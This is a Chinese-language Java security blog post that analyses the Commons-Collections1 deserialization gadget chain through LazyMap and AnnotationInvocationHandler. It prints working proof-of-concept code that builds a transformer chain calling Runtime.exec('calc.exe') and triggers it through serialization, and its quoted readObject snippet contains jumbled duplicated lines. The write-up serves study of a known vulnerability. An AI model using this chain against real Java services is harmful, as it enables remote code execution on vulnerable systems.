Java安全之Commons-Collections1分析(二)
2022-04-24 15:41:03 # Java安全

继续接着上文,上文我们通过方法调用弹出了计算器,那么在反序列化的漏洞场景下该如何运用呢。

下面为完整的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

LazyMap

在分析调用链之前,先学习一下LazyMap,这个类和TransformedMap类似,都继承AbstractMapDecorator抽象类

image-20220424181354526

根据之前的分析,可以知道TransformedMap的触发点是put()方法

1
put()->transformValue()->ChainedTransformer#transform()

LazyMap的触发点是在get()方法

image-20220424184103297

get()方法的实现是首先判断map的中是否包含传入的key,当key不存在时,就会调用transformerChain的transform()方法。那么,我们根据这个触发点来编写如下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1");

}

运行完get()方法弹出计算器

image-20220425003115659

AnnotationInvocationHandler

AnnotationInvocationHandler类的构造函数有两个参数,第⼀个参数是⼀个Annotation类类型参数,该类是注解类,第二个是map类型参数。

image-20220425003629840

所有的注解类型都继承自Annotation接口

image-20220425003956842

查看AnnotationInvocationHandler#readObject方法

image-20220425004347242

假设这里我们通过反射调用AnnotationInvocationHandler,并传入两个参数,一个是Retention.class,另一个是outerMapRetention是一个注解类。outerMap是我们TransformedMap修饰过的类。

1
2
3
4
Class  clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

这时候在 AnnotationInvocationHandlerreadObject方法里面 memberValues就是我们使用反射传入的 TransformedMap的对象。代码中遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap⾥的Transform方法,从而导致命令的执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
annotationType.members().get(name));
}
}
mv.put(name, value);
}

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public static void main(String[] args) {

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

}
}

运行弹出计算器

image-20220425014902982

测试过程发现,jdk1.8.0_321无法达到命令执行的目的,后面换了个jdk1.7.0_21才执行成功

在高版本中的AnnotationInvocationHandlerreadObject是被改动过的,如下为低版本jdk

image-20220425015122452

参考

https://www.cnblogs.com/nice0e3/p/13791793.html